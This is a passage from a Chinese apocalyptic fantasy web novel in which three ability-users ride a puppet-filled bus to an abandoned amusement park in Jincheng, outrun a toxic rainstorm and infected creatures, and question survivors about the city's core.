安检口右边被堵死,只有左边的路宽敞又寂静。几个快速步道还在静静运转,一旁的电子屏幕上只有一个不标准的航班信息。
——航班号写着:WSND886。
程承气笑了:“……无不无聊?”
身后安检口发出破裂之声,三人回头看去,只见安检口如同一个被打翻的糖豆罐头,无数感染者被层层叠叠地掀翻在外,还有不少感染者从人群最上方滚了下来,砸在安检口前方的椅子上。
祝无忧崩溃捂脸:“还来?”
程承当机立断:“跑!”
三人应声而动,夺命狂飙。
夕阳余晖众生平等地洒在每一个人的身上,伏苓三人在快速步道前面玩命地跑,感染者在快速步道后面、左边、右边、上面连滚带爬地追。
所到之处,寸草不生。
丰镐机场在全国看来算不上特别大,但也不是个小机场,游寂还故意给他们安排了个最远的登机口,等到三人翻过检票口跳入廊桥的时候,连体力最好的程承说话都有点喘。
他一只手撑着廊桥一侧,短促地笑了一声:“这人是不是有病?”
游寂对他们几人的实力摸得很清楚,这些看着吓人的感染者对于他们来说,只能算是有点麻烦,但是不至于真把他们弄死了。
搞这一出,就是明目张胆地在公报私仇。
怪不得这狗东西走之前笑得那么开心。
伏苓歇了几秒,深呼吸两下:“所以他给我们安排的飞机到底能不能行?别在这上面搞我们。”
祝无忧坐在地上尬笑:“哈哈,哈哈,不能吧?”
64. 废弃游乐场01
飞机倒是没问题,甚至机组人员可能几辈子没见到人了,加上三人名义上算是游寂的“朋友”,整个机组人员都格外热情。
除了他们满脸微笑地降落在金城城外的一个鸟不拉屎的空地上。
乘务长笑容完美:“不好意思啊,金城我们实在是进不去,只能送你们到这里了。”
说完,她身后的几个人复制粘贴一样跟着她弯腰鞠躬:“给您造成不便非常抱歉。”
然后毫不留情地关上了舱门,逃也似的飞走了。
留下三人在风中凌乱。
祝无忧摸了摸小肚子:“幸好在飞机上吃了点。”
伏苓冷笑:“怪不得给我们喂那么多吃的,原来是还有这一茬。”
程承诚恳点头:“怕我们饿着,人还怪好的。”
已经是夜晚了,周围一片黑暗,厚重的夜色笼罩着一切,遥远的灯火仿佛不在人间,隐约映照出破破烂烂的路面和树木的轮廓。
约莫三十步开外,隐隐约约能看到一个亮着微弱灯光的公交站台,昏黄的灯泡在站台顶部摇曳不定,勉强照亮了站台的一角。
祝无忧打了个寒颤,她讪笑着靠近伏苓:“那个,我有点害怕。”
程承垂眸扫了一眼祝无忧紧紧抱住伏苓手臂的手,顺势靠近伏苓,开口:“我也害怕。”
伏苓:“……”
她一手甩开一个,大步朝着公交站台走去,敷衍:“别怕。”
祝无忧幽怨地瞪了程承一眼:“你凑什么热闹……”
程承笑了笑,跟上伏苓。
周围什么也没有,只能指望这个看上去似乎下一秒就要闹鬼的公交站台了。
站台的结构陈旧,表面覆盖着一层厚重的灰尘,似乎已经很久没有人来过。长椅上铺着一层破损的皮革,布满了斑驳的水渍和污迹。四周荒草丛生,杂草从地面砖缝间顽强地生长出来,散发出一种潮湿和腐朽的气息。
前面贴着一张模糊不清的时间表,明明无风,却诡异地被吹得摇摇欲坠,发出微弱的吱吱声。
伏苓靠近一些,时间表上的文字被晕染了大半,几乎看不清写了什么。
周围一片漆黑,浓厚的夜里里仿佛隐藏着什么可怕的妖魔鬼怪,祝无忧无端打了个寒颤,哆哆嗦嗦道:“时间表真的有用吗,这么晚了,再怎么想公交车也不可能还营业……”
她最后那个“吧”字突然堵在喉咙,手缓缓抬起,满脸惊恐地指着前方:“那……那是什么?”
伏苓直起身,顺着她指的方向看去。
浓厚的夜里,一盏微弱的灯光如鬼魅般亮起,映照出一辆吱吱作响的老旧公交车,车子开动的声音如破败的风箱,在寂静的夜里显得格外醒目。
程承上前一步,挡在两人身前,漆黑的眸子紧紧盯着缓缓靠近的公交车。
前挡风玻璃上有些许蜘蛛网的痕迹,随着风的吹拂,微微晃动。程承试图看清里面的场景,车内漆黑一片,即便公交站上有微弱的灯光,程承也只能看到驾驶座上一闪而过的黑色身子。
公交车“吱呀”一声地停在三人面前,车身上斑驳的涂层散发出一种陈旧和腐朽的气息,令人作呕。
车窗上弥漫着薄薄的雾气,看不清里面的景象。
祝无忧已经缩到伏苓身后了,身后的站台突然传来“滋啦”的声响,祝无忧跳了起来,捂着嘴挤到程承和伏苓中间。
伏苓猛地回头。
站台一闪一闪地亮起诡异的绿光,传出来断断续续的声音因为喇叭的年久失修而显得有些失真:“……到了,请……金城……上车……”
祝无忧吞了吞口水,正准备说什么,沉默地停靠在三人面前的公交车车门发出的轻微嘎吱声,缓缓打开。
灰尘从里面蔓延出来。
程承瞳孔微缩。
不为别的,只是因为车上满满当当地坐了一车子人。
正对着门的坐位上坐着一个身着黑衣的人——不,与其说是黑衣,不如说是穿了件长长的黑袍子,这人低着头,宽大的兜帽将面容全部遮住。
车灯只有应急灯光微弱地亮着,看不太清细节,但也能隐隐约约看到车子上几乎每一个座位上都坐着一模一样的黑袍人,每一个人的面容都被挡得死死的。
即便车门打开,站台的灯光照入车内,里面的人也没有发出一点声音。
祝无忧惨白着一张脸,下意识退后了一步,后背撞上了温暖的身体,伏苓扶着她的肩膀,轻声道:“别怕。”
这一声似乎是有什么魔力,祝无忧心中几乎要将她吞没的恐惧陡然消失了小半,甚至还有闲心去想别的事情,她转过头,认真道:“伏苓,这个应该不能炸吧?”
伏苓:“……?”
她有些无奈:“放心,不炸它。”
程承谨慎地踏上台阶,车身轻轻摇晃,除此以外,毫无动静。
他耐心地等了几秒,才将另一只脚踩上车身。
车厢内环境昏暗,但除了坐得满满当当的黑袍人外,没有什么其他的异样。
中后部有几个空位,零零散散的,但也没得选。他回头:“上来吧。”
祝无忧缩在伏苓身后,哆哆嗦嗦地上了车。
程承在前方谨慎地开路,车子算不上大,是很有年代感的农村公交车,他们所在的位置离中部的空位其实也只需要经过两三排坐满垂着脑袋的黑袍人的狭窄通道罢了。
像这种明显较为诡异的场景,三人心里想的都是先尽量不要触碰到他们。但奈何这个通道实在是太小了,几乎每走一步就会碰到垂下的黑袍。
祝无忧甚至一脚踩在了一个黑袍人的鞋上。
不是人脚的触感,反而有些软绵绵的,就像……踩到了一个棉花娃娃。
祝无忧飞快又小声地说了句“对不起”,将自己的脚收回来,往伏苓怀里缩了缩。
她跟着往前走了两步,又觉得奇怪。被人踩到脚了,怎么说也不该一点反应都没有吧?
还是说,她回想起刚刚那奇怪的触感,身子抖了两下。
所以这些黑袍人……都不是活人吗?
她小心翼翼地转过头去看刚刚被自己踩到的黑袍人。
昏暗的车灯做不得数,几乎等于没开,车内只能隐隐约约看到些许轮廓,但即便如此,祝无忧清楚地看到,刚刚正面对向车门的黑袍人,此刻却转了90度正对向中间的走道。
她一把抓住了伏苓的手臂,却因为恐惧而发不出任何声音。
伏苓脚步微顿,顺着她的目光看过去。
那一瞬,她几乎看到满目的黑袍人都在缓缓朝她转过来,车厢内的氛围陡然变得浓厚而粘稠,如同一条海藻紧紧地缠绕住脖颈。
伏苓很轻地嗤了一声,却没想气氛倏地一滞,黑袍人的行动仿佛被按下了暂停键,顿时一动不动了。
她拍了拍祝无忧,示意她坐在双人座的里面,然后自己大大咧咧地坐在了外侧。
程承坐在与她隔了一个过道的单人座位上。三人坐定后,车子摇晃了两下,缓缓开动。
程承目光紧紧盯着驾驶座上的黑袍人,他与伏苓对视一眼,示意她看过去:“车不是人驾驶的。”
驾驶座上虽然坐着个人,但那人连手都没抬起来,方向盘却能自行转动。
伏苓点了点头,目光落在她前排的黑袍人身上。
她道:“好想给他们袍子掀开看看。”
话音刚落,整个车箱都安静了。
很奇怪,明明之前车厢里也没有乱七八糟的声音,但此刻,就是很诡异地安静了许多。
程承抽了抽嘴角:“还是不要了吧。”
这种情况下掀别人衣服跟闹鬼的时候掀了新娘的红盖头有什么区别?!
伏苓有些遗憾地说:“好吧。”
不知是不是错觉,接下来的路程车开得更快了,几乎算得上是风驰电掣。空无一人的大街上,一辆几乎下一秒就要散架的小破巴士像一头疯狗在路口漂移,用最快的速度到了站。
车辆停稳。
外面还是黑漆漆的一团,隔着车窗什么都看不清。
程承率先下车,伏苓起身让了一下,自己走在最后。快要走下台阶的时候,整个车箱上的东西都仿佛松了口气。
却没想到,伏苓突然转头,恶作剧得逞一般地弯眼笑了一下。
不详的预感还没升起来,一条软剑如蛟龙般在车厢内盘旋了一圈,没有伤到任何东西,但带起的风却将车上所有人的袍子吹开,露出袍子下的面容。
车门猛地关闭,伏苓若有所思地看着飞快逃离的巴士屁股,摸了摸下巴。
程承捏了捏她的耳垂:“看到什么了?”
她表情还有些一言难尽,斟酌了一下:“……人偶。”
程承微微睁大了眼睛:“人偶?”
伏苓点点头:“就是那种仿真的人偶,但是看着不太行,感觉丑丑的。”
程承:……这个是重点吗?
如今信息太少,程承也没在这上面继续纠结,只是将其记在心里,然后示意伏苓朝后看。
夜幕低垂,微弱的路灯勉强映出周围微弱的光晕。
浓厚如雾的夜色下,是一个荒废凄凉的游乐场,入口上方的牌子歪了一半,在半空摇摇欲坠。废弃的广告牌上还残留着褪色的促销口号和快乐的笑脸,在夜色中却显得格外瘆人。
祝无忧又默默地挪到了伏苓身侧:“要要要进去吗?”
伏苓左右看了看:“周围什么都没有,应该是只能进去了。”
公交车二话不说地把他们拉到这来,肯定是因为这里对于金城而言较为特殊,更何况,方才伏苓也通过特殊手段确定了车子上的生物都不是人,那么车子停在此处,只能是被一个东西操控
——那个觉醒了自我意识的金城核心。
程承往前走了两步,看清了上方的牌匾——“金城嘉年华”。
他回头道:“这个游乐园名气挺大的。雨灾还没发生的时候宣发力度很大,当时好多人都专门为了这个游乐园来金城。”
“我也听说过这个游乐园。”祝无忧举起手,又突然发问:“你不是好学生吗?还关注这些?”
程承:“……你是不是有点太记仇了?”
祝无忧嘿嘿笑了两声:“那这个游乐园里面是不是会有很多人?”
程承沉默了两秒,伏苓也跟着沉默了起来。
祝无忧的笑容慢慢变得僵硬,她颤颤巍巍道:“不会真有很多人吧?”
程承微笑着拍了拍她的肩膀:“进去吧。”
祝无忧:我不想我不去别扒拉我。
入口右边有一排的售票厅,伏苓一眼扫过去,发现每一个售票厅里面都坐着一个黑袍人。看样子,应该跟车上的那些人偶是一样的。
检票口的两边也隐隐约约能看到人的身影,垂下的袍子无风自动。
伏苓伸手指向那里:“有人。”
祝无忧的声音戛然而止:“哪哪哪呢?”
程承顺着伏苓指的方向看过去,那个身影虽然也穿着黑袍,但却有着自然的动作和姿态,而并非车上那些人偶不和谐的僵硬。
这是个活人!
程承立马追了过去,打招呼道:“你好,请问……”
他话音未落,那道身影飞快地朝园内跑去,很快便隐入黑暗。
程承在检票口处停了下来,他皱着眉看向那人消失的地方:“为什么要躲着人……”
伏苓敲敲检票机,纵身翻了过去,一把掀开藏在里面的黑色袍子。
下面盖着两个躺得笔直的人偶,夜色的笼罩下,只能模模糊糊看到人偶脸上,用潦草的画迹勾勒出鼻子眼睛。
画画的人可能有一点美术功底,画出来的面容倒是当真像个真人,但也正是因为面容逼近人类,才显得这两个木偶更加瘆人。
人偶笔墨未干,黑色的颜料沾上了伏苓的手,她有些嫌弃地擦在一旁的黑袍上。
程承将上半身从检票机上面探过来,打量了一下两个人偶的面容:“还是有点不一样的。”
伏苓没听懂:“什么意思?”
程承指了指两个人偶,解释道:“你看,虽然都是两个眼睛一个鼻子,但细看也能看出不同,左边的人偶眼睛更长更细,鼻子似乎是是鹰钩鼻。而左边的人偶眼睛显得更圆一些,鼻子的轮廓线条也更加柔和。”
他顿了顿:“我猜,这人偶可能是照着真实的人画的。”
滴嘟滴嘟——
远处忽地传来火车启动的声音,三人猛地朝着游乐园里面看去。
里面仍旧是一片黑,什么都看不清楚,程承目光凌厉:“应该是刚刚逃走的那个人。”
伏苓抬了抬下巴:“那就进去吧。”
她抬起脚正准备越过检票口,旁边的机器突然发出尖锐的提示音:“请……袍子……脱下……”
检票口滋哇叫了两声,一个完整的话都没蹦出来。
但前方缓缓伸出来一条杆子,上面挂满了熟悉的黑色袍子。程承上手摸了两下:“这是想让我们穿上袍子再进去啊。”
“事真多。”伏苓一把扯下一个套在自己身上:“这样可以了吧?”
杆子缓缓移动,让出了一个仅供一人通过的道路。程承叹了口气摇摇头,薅了一件给祝无忧,自己也麻利地套上了。
做完这些后,面前的通道才满意地向三人开放。伏苓第一个走进去:“什么毛病,进游乐场还得统一服装?”
踏入游乐园地盘的那一瞬,仿佛晨曦的微光从身后升起,眼前的黑雾散去,露出园内的场景,但四处的光却不似日光不似灯光,反而依旧是雾蒙蒙的灰色,仅仅只能看清眼前的景象罢了。
祝无忧龇牙咧嘴:“这游乐园跟上了层滤镜似的,还是黑白灰的那种。”
程承若有所思:“怪不得要我们穿黑袍。这种色调,稍微穿得鲜艳一点都能被一眼看出来。”
入园后的正前方是一道火车的铁轨,轨道对面被湖水拦截,再往前则是一个巨型过山车,过山车的轨道绕着高耸的山型建筑上上下下。
伏苓他们所站的地方是一个不大不小的半圆形场地,左右两侧建了两排破旧的商店,店外的牌匾广告都褪去了颜色,凄惨地被风吹落。
程承定睛一看:“店内也坐着人啊。”
只见一个个商店都紧紧关着窗户,玻璃被刮花了,但也能隐隐约约看到里面的人影,甚至能瞧见那人偶被放大的诡异笑容,就像热情的店员露出标准的八颗牙齿。
而除此之外,没有任何通道能去往别处,只有前方轨道处有一个小小的月台。
“这是要我们坐小火车吗?”祝无忧伸长脖子去看月台,最里面还有个启动器,被树遮了半边,只能瞧见启动器后面扎着一个人偶。
程承点点头:“刚刚我们在外面看到的人,应该就是乘坐小火车走了。”
伏苓朝轨道尽头看了两眼,转身就走:“还没来,先去洗劫一下。”
她甩出软剑砸在右边商店的一排玻璃上,玻璃应声而碎,里面端坐着的人偶的脸暴露在三人眼前,一双潦草画就的眼睛如同活生生的人一般死死盯着伏苓。
程承:“……”
程承斟酌着:“下次,额,动手之前,能不能跟我说一声?”
伏苓不甚在意地“嗯”了一声,走上前一脚踹碎边缘还在苟延残喘的玻璃,纵身越了过去。
里面东西散落一地,乱七八糟的,上面还覆盖着一层厚厚的灰尘,应该是很久没有人来了。柜台上摆着一些制冰机、饮料机什么的,大部分机器都倒在柜子上,剩下的散落在地上。
伏苓俯身看去,机器上有几道明显的划痕,像猫抓过,但痕迹非常深——应该是感染者所为。地面上有几摊大块的痕迹,看不清颜色,但想也知道十有八九是血迹。
这里发生过略显激烈的打斗。
——感染者和正常人之间的,并且感染者获胜得非常之快。
“有什么发现吗?”程承探了一颗脑袋进来,关心道。
“有一点。”伏苓又转身将目光放在那个人偶身上。
之前在公交车上她只来得及看一眼窥得真貌,在检票口时又太黑,根本看不清细节。这里虽然也算不上亮,但起码有点光。
人偶整个的质感都非常差,像是从各处搜刮来的各种东西拼接在一起,脸部并不是寻常玩偶会用的白色或者肉色的布料,而只是比身体其他部位稍微浅一点的颜色,好方便画五官。
她不知从哪抽出个匕首,在指尖帅气地转了一圈后干脆地划开人偶的手臂。
相比与外面还勉强用的都是布料,里面塞着的东西就更加随意了,揉成一团的包装纸、塑料袋,甚至还塞了几个塑料瓶子,勉强撑起来了整个身子。
滴嘟滴嘟——
火车的声音自远及近,祝无忧回头看了一眼:“要走吗?”
程承看了眼时间,距离上一次火车声音响起只隔了十五分钟。
伏苓翻了出来,道:“走吧。”
月台是复古的款式,做了很漂亮的栏杆,即使是如今的光线环境,也能看出制造者及其用心,只是上面落了不少灰。相比之下,反倒是地上有许多凌乱的脚印,看上去似乎还算新鲜。
祝无忧小声嘀咕:“好可惜哦。”
伏苓不置可否,目光却下意识地看了一眼被扎在启动器后面的人偶。
指尖被温热轻轻触碰了一下,程承凑近了些,将手背静静贴在她的手背上:“是发现什么了吗?”
小火车还在来的路上,伏苓看着程承亮晶晶的眸子,点了点头,简单描述了一下自己在里面的发现。
她问:“你觉得这些人偶是干什么的?”
“说实话,我不知道。”程承摇了摇头:“可能是核心用来监视我们的手段。”
他顺手将伏苓散落出袍子的绿色发尾塞了回去:“我们现在信息太少,盲目去猜多半猜不到真相,先走一步算一步吧。”
小火车哼哧哼哧地在三人面前停下。车身是复古的深红色,车头顶部冒着蒸汽,和车箱用连接器连着,驾驶舱里面坐着一个身影,看上去也是个人偶。
车箱四周的窗户没有玻璃,窗户很大,看上去似乎能直接穿过一个人,也因此,车箱里面的情况一目了然。
——座位上零零散散地坐着一些人偶。
祝无忧逐渐免疫了,她挠挠头:“哪都有人偶啊?”
伏苓不屑地笑了声,车门在她面
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前缓缓开启,她踩上车箱:“装神弄鬼。”
车内座位是旧时代的复古长凳,里面空位很多,但伏苓偏偏坐在了一个人偶身边,她笑嘻嘻地对人偶道:“这没人吧?”
人偶:“……”
伏苓在椅子上寻了个舒服的坐姿:“那我就坐了啊。”
人偶:“……”
程承没忍住偏头笑了一声:“看得出来,这个人偶应该是自愿的。”
人偶:“……”
祝无忧一脸欲言又止:“这、这样真的没问题吗?”
伏苓:“没问题。有问题死的也是它。”
人偶:“……”
车门沉默地关上了。
车身前后晃了晃,缓缓启动。
行驶带来的微风吹落伏苓的兜帽,她侧头看了眼一声不吭的人偶,突然抓上了它的手,布料的触感,里面应该塞的是纸。
她想了想,又将匕首抽出来准备给人偶的手臂划开——如果时间够的话,她甚至想给人肚子也划开看看。
刀尖即将刺入的时候,她突然顿了顿,看向人偶略显滑稽的面庞:“你好,我可以解剖你吗?”
人偶:“……”
她笑了笑:“谢谢你同意。”
程承在后座笑出了声。
伏苓干脆利落地一刀刺入,露出里面塞得满满的废纸和红色的布料,她手臂使力,正准备一刀划开整条手臂时,空中猛地发出一声惊雷。
伏苓动作一顿,抬眼向窗外看去。
狂风大作,吹乱了她的发丝,露出光洁的额头。
程承预感不妙:“不好,要下雨了。”
周围还是那副灰蒙蒙的模样,无法判断这雨何时落下,但骤起的狂风,连接不断的闷雷都预示着时间不多了。
没时间管人偶里面还有什么,伏苓收回匕首,站起身来。
小火车除了顶上有个天花板盖着,四周几乎算是毫无遮挡。以火车的速度,就算无风起雨,雨水依旧会从四面八方落入车箱,更别提此刻狂风大作。
车箱里无法避雨。程承飞快跑到车箱前部,从车窗处探出身子朝前看:“到前面的月台估计还有五六百米,那边什么情况暂时看不清,有很多树挡着。”
伏苓快步走上前:“跳车呢?”
程承头发乱糟糟的,他摇摇头:“不行,这边周围也没有遮挡物,我们跑步的速度也远远赶不上火车,只能等他到月台后我们再找地方挡雨。”
轰隆——
雷声再次传来,几乎是在击打着众人紧绷的神经。
祝无忧抽了张牌:“加速牌应该对火车也有点用。”
星牌生效,火车突然加速,带得众人集体往后倒,伏苓一手抓住扶手一手捞过险些摔倒的祝无忧,勉强维持身形。
天空的颜色还是没有变化,但空气中已经多了些许潮湿的气息。
程承紧紧盯着前方的月台,狂风将他的额发吹至脑后,他咬牙:“不行,时间还是不够!”
“我去车头。”伏苓丢下这句话,双臂撑在前方的车窗上,整个身子都跃至车外,狂风吹起她的发丝和衣角,身下是疯狂往后退的铁轨,看得人触目惊心。
她一只手扒住了车头的一角,腰部用力,将整个人都甩到了车头上方。
程承冲到前方,焦急道:“小心。”
伏苓朝他比了一个“OK”的手势,双手抓住车窗上沿滑进驾驶舱。
几秒后,小火车以一个它不可能达到的速度疯狂往前冲。因为速度过快,车箱不停地颠簸着,祝无忧紧紧抓住扶手:“这么快来得及吗?”
“来得及!”程承的身体被火车甩来甩去,他目光凌厉,喊道:“忧忧,待会准备跳车。”
空气中的潮湿味越来越重了,同时还夹杂着火车速度过快擦出的灼烧气息。
时间太紧了。他们没办法再慢吞吞地等着火车停下,必须以最快的速度找到遮挡物。
距离月台只剩下二十米!
树木被火车绕过,视野渐渐清晰。
十米。
程承默数着。
“那是什么?”祝无忧的声音刺破火车的嗡鸣,程承瞳孔猛地一缩。
月台周围,被树木遮挡着的地方此刻毫无保留地展露出来——那里居然站着近百的感染者!
程承迅速收回思绪,视线飞快扫射,在月台不远处找到了一个房屋。
此时,火车距离月台只有不到三米,感染者听到声音,猛地转过头来朝月台急速靠近。
程承厉声:“跳车!”
他抓着窗户上沿纵身跃出,稳稳地落在月台的角落。
轰隆——
随着雷声而来的,是大面积扫射的红雾,与游走在无数感染者中间硬生生撞开一条生路的软剑。
祝无忧手指翻飞,给三人个套了个速度增益,又飞快地向感染者扔去负面效果。
伏苓回头:“别管他们,先跑!”
“来了来了!”祝无忧跟着伏苓拔腿就跑。左右两侧飞扑过来的感染者被红雾和软剑接连贯穿,前面开路的两人如同扔布娃娃一样将感染者甩到一边。
有一个感染者被程承甩得一头栽在后面的草坪里,撅着屁股浑身都在使劲试图将自己的脑袋拔出来。
残暴,太残暴了!
祝无忧一脸复杂地跟着两人跑到了最近的屋子面前。屋门落了锁,程承用肩膀撞了两下没撞开。
身后隐隐约约传来了雨水砸在地上的声音。
伏苓抽出能量枪:“让开。”
门被瞬间轰开,程承一手拽着祝无忧甩进屋内。
雨水擦着他的手臂劈里啪啦地砸下来。
程承双手撑在膝盖上,微微弯着腰喘气:“幸好赶上了。”
伏苓拉过他的手臂,垂着眸问:“有被雨碰到吗?”
被她握着手臂,程承轻咳一声,声音轻轻如同耳语:“没有,放心。”
伏苓轻轻踹了他一脚:“干什么呢。”
天天跟个狐狸精一样。
程承笑道:“没干什么啊。”
“我知道你们俩现在肯定有千言万语想说甚至可能想抱一块亲起来,但我有必要打扰你们一下——”祝无忧的声音幽幽响起,她盯着对面屋子,脸色惨白,语速飞快:“对面房子里有人。”
程承回头看去。对面屋子的窗户在他看过来的那一瞬“咔哒”一声轻轻合上,仿佛什么都没发生过一般。
“应该是之前那个人。”程承道。
外面的雨劈里啪啦,如同天空破了个洞,洞内不断倒出成吨的雨水。空气中满是雨水的腐朽气息。
伏苓抱着臂:“要去看看吗?”
程承摇头:“雨太大了,等不下了再去。”
“砰”。
很轻的一声。
在屋外吵闹的雨声下几乎微不可闻,但伏苓和程承的目光瞬间看向声音传来的方向。
屋内没开灯,只能借着从窗外撒进来的微弱光亮看清眼前的场景。
这里应该是一个餐厅,三人所站的位置周围有十几个排列整齐的桌子椅子,只有少些桌子铺着白色的桌布。有几个椅子上扎着人偶,背对着他们,显得有些瘆人。而里侧隐隐约约能看见一个门,看样子似乎是厨房的方向。
伏苓勾了勾唇:“看来屋里还有只小老鼠。”
红雾弥漫,如同蓄势待发的长剑直指屋子里侧的小门,程承垂眸看了一眼自己运起红雾的手心,又很快恢复常态,声音冷冽:“自己出来,不然我不确定你会遭遇到什么。”
屋内一片寂静,窗外豆大的雨珠打在窗户上,发出令人烦躁的敲击声。
伏苓甩了甩手腕:“看来是不准备主动出来了,那只能逼他出来咯。”
“等、等等!”门后终于响起了惊慌失措的声音,几个人小心翼翼地从里面探出头来,满目惊恐地看着将他们团团围住的红雾:“都、都是朋友,不要打打杀杀……”
伏苓冷笑一声:“谁跟你们是朋友?”
她点了点人数,软剑如滑腻的蛇身一样缓缓流淌出来:“三个人呢,刚好我们三对三,也不算欺负你们。”
那几人听到这话顿时急了,虽然伏苓等人还没有在他们面前展露实力,但能突破那么多感染者的围攻,加上如今的这等杀尽天下人的气势,他们自然能感受到自己必然不敌。
三人中看上去最为成熟的男人举手做投降状,急道:“你们是新来的吧?我们可以给你们提供情报!”
程承挑了挑眉,慢悠悠地“哦”了一声,示意他继续。
这明显是想留下这些人的意思,伏苓皱了皱鼻子,小声:“人数不是对等吗?这也不打?”
程承弯了弯眼睛,手指轻轻地勾了她的小拇指一下。
那人没注意这么多,开口道:“额……额……如今嘉年华里面分为两个阵营——异能者,和感染者。”
祝无忧瘪瘪嘴:“这算什么情报?哪个城市不是分为这两个阵营,最多就是再加个无能力者嘛。”
“不一样的!”那人有些着急,原本举着的手也顺势放了下来,红雾猛地逼近几寸,吓得他又举了回去:“欸欸欸,别别别!区别在于,这里的感染者是有意识的!”
65. 废弃游乐场02
闻言,程承目光一凝:“有意识?自主意识吗?”
那人又“额”了两声,讪讪:“也不是……”
红雾缩近距离,他又嗷嗷叫唤:“哎呀!你不要这么着急嘛,这我也不知道怎么说,就是这里的感染者不像其他地方那般散乱,而是有组织有纪律的。”
他举着手比划了两下:“你懂我的意思吗?”
伏苓侧头,低声道:“有人操控感染者?”
程承摇摇头:“不知道,也可能是核心。”
祝无忧插到两人中间:“你们俩说悄悄话干嘛不带我?”
伏苓:“……”
程承:“……没说悄悄话。”
祝无忧“哼”了一声:“那这个操控者会不会是刚刚对面那个人啊?”
程承皱眉思索了片刻,看向那三个人:“你们有同伙吗?”
“什么同伙,不要说的那么难听嘛……”男人讨好笑道:“有。”
程承:“对面那个是你们的人?”
那人:“额……”
他身后的十五六岁模样的男生小心翼翼插嘴:“不一定,我们不知道他们具体在哪。”
伏苓看这孩子举得手都有点抖了,她碰了碰程承。
后者点了点头,收回了红雾:“继续,你们有多少人,感染者有多少人?”
没了红雾的威胁,三人顿时松了口气,但依旧离他们远远的,小心翼翼地回答:“我们只剩下不到五十人了,感染者数量不确定,预估得有上千人。”
“上!千!!”祝无忧转身就走:“再见了伏苓,再见了程承,我先回家了。”
伏苓一手拽住她的后衣领:“下雨呢,走不了。”
祝无忧:“……天要亡我。”
程承扫了一眼屋外游荡的感染者:“数量看上去没那么多。”
“因为嘉年华有好几个区域,都是分隔开的,只能通过小火车过去。”那人又道。
祝无忧找了个桌子摊着:“提问!为什么要隔开?”
“嘉年华黑心资本家,第一段小火车不要钱,继续坐要交二十块,每一程都要二十。”三人中唯一没说话的男生眉眼冷淡,半张脸都隐入黑暗中,声音听起来有些咬牙切齿。
祝无忧:“……真是没想到呢。”
程承嘴角抽了抽:“牛逼。”
伏苓疑惑:“还能这样赚钱呢?”
程承看她:“你别学。”
伏苓:“……我学个屁。”
年长者又道:“出事那天嘉年华搞了个雨中游园的噱头,来了很多人,基本上都死在这了,只剩我们这不到三十人。”
气氛突然沉重起来。程承问:“你们没试过离开园区吗?”
“试过。但出口被封死了,我们有过试图从入口出去,但走过检票口后又回到了原地,后来就没再尝试了。”似乎是想到了当时的场景,他眼中带着些许恐惧,但下一秒他的情绪又高昂起来:“不过现在我们也不是没有盼头,只要毁掉核心,我们一定可以回家。”
程承与伏苓对视一眼:“看来我们的目的是一样的,既然如此,没必要再针锋相对。”
男人眼前一亮,猛地上前一步,又有些迟疑地停下:“你们是来专门嘉年华毁核心的?”
这怎么可能呢?如今大家都自顾不暇,谁还会专门来到危险之处拯救与自己毫无干系的陌生人?
祝无忧拍拍胸脯:“诶!就是我们。”
程承笑了:“你就当我们天生正义吧。”
伏苓正准备说话,一道视线落在她身上——不,也不能算是视线,感觉就像是有人在暗中关注着这边的对话。
她微微侧头,目光危险地扫向了对面的屋子。
窗户依旧关得死死的,屋外雨声渐小,偶尔能听清远处感染者嘶吼的声音,她收回视线。
对面有人,并且,这个人跟面前这三人绝不是一伙的。
嘉年华里面还有隐藏的第三阵营?
先不管这个,若是这人没有打开窗户观察,祂又该如何了解到这边在说什么?
仅凭听力吗?
两个屋子之间的间隔不算小,门也是紧紧关着的。
偷听?这简直天方夜谭。
程承见她没说话,低声问:“怎么了?”
伏苓摇摇头,看向那三人:“这个区域你们有多少人?”
“除了我们仨,也就两三个吧。这里感染者少,大部队都去核心那里了,只留下了我们几个没什么用的。”年长者小声道,面上有些羞赧。
程承点点头:“核心在哪个区域?”
根据几人你一言我一语的信息,程承大致拼凑出了嘉年华的整体布局。
他们如今所在的区域是田园风格区域,区域内游乐设施不算多。接下来的区域依次是童话风、海盗风以及最后的未来科技风,重点项目都在后三个区域。
几个区域无法直接前往,必须乘坐小火车,且小火车一次只能坐一站——也就是说,他们需要在每一个区域下车再等下一班车前往下一个区域。
对此,祝无忧发表重要讲话,连声痛骂嘉年华真真就是黑心资本家。
园区很大,先前的异能者不太确定核心究竟在哪里,只能挨个排查。
“但是大概率是在最繁华的未来科技区了。”那人道:“那里有最大型的过山车,是当年嘉年华宣传的重点,我们猜测,核心应该就在那里。”
“应该?”伏苓疑惑:“你们这么长时间了还没摸清?”
年长者:“……你这句质问好伤人。”
“是因为感染者太麻烦了。”少年小声辩解:“他们人多,我们打不过他们。”
伏苓:“行吧,那你们确定别的建筑、设备都不存在核心的痕迹吗?”
三人齐齐沉默,整齐划一地摇头。
程承:“……以防万一,等雨停了,我们在这个区域转一圈。”
伏苓目光有意无意地飘向对面屋子,哪里仍旧一片安静,仿佛什么都没有发生过一样,她抬起下巴:“当然,对面那个屋子首当其冲。”
这场突如其来的暴雨下了一段时间后便缓缓停下了。
程承蹲下身子细看着地上残存的雨水,眉头微微皱起:“这里的雨水……”
伏苓站在他旁边,低头看他:“怎么了?”
程承用手撑着膝盖站了起来:“不好说,就是感觉似乎比我们那边的雨的威力强上不少。”
伏苓挑了挑眉:“这你都知道?”
程承弯着眼睛笑了笑,先前被风吹乱的小卷毛又乖顺地瘫回了他脑袋上:“就像我们能感知到无能力者和异能者的差别,雨水中蕴含的能量强度我也能稍微感知一点。”
伏苓轻轻鼓了两声掌:“厉害。”
程承无奈:“你又来。”
祝无忧捏着一张爆破牌小心翼翼地推开了对面屋子的大门。
这里也是一家餐厅,大门打开后照进去的光勉强将里面的场景展现出来。整整齐齐的桌椅,屋内依旧坐着几个安静的人偶。
伏苓越过她走了进去,推开了里侧的门,里面跟他们原先在的屋子布局一致,是一个小型的厨房。
同样空无一人。
伏苓走了进去,最里面有一个小门,上面满是灰尘,只有把手那里有一个明显的手掌印。
“窗户上有手印,这里确实有人待过。”程承走了进来,将后门打开。
门后是一条石子路,连接着游客行走的大路,程承俯身细看,石子路上有一个不太明显的脚印,上面没有水渍。他直起身:“雨停了之后离开的,要追吗?”
伏苓抬眼扫了一眼周围,摇摇头:“算了。”
程承弯眼:“嗯。”
“伏苓你别被他骗了。”祝无忧幽幽探出脑袋:“程承这人明显就是表面上让你选,实际上你就算说要追他也有一百个理由让你不追!”
程承轻啧了一声:“怎么说话呢?”
他向祝无忧身后看去:“那三人没来吗?”
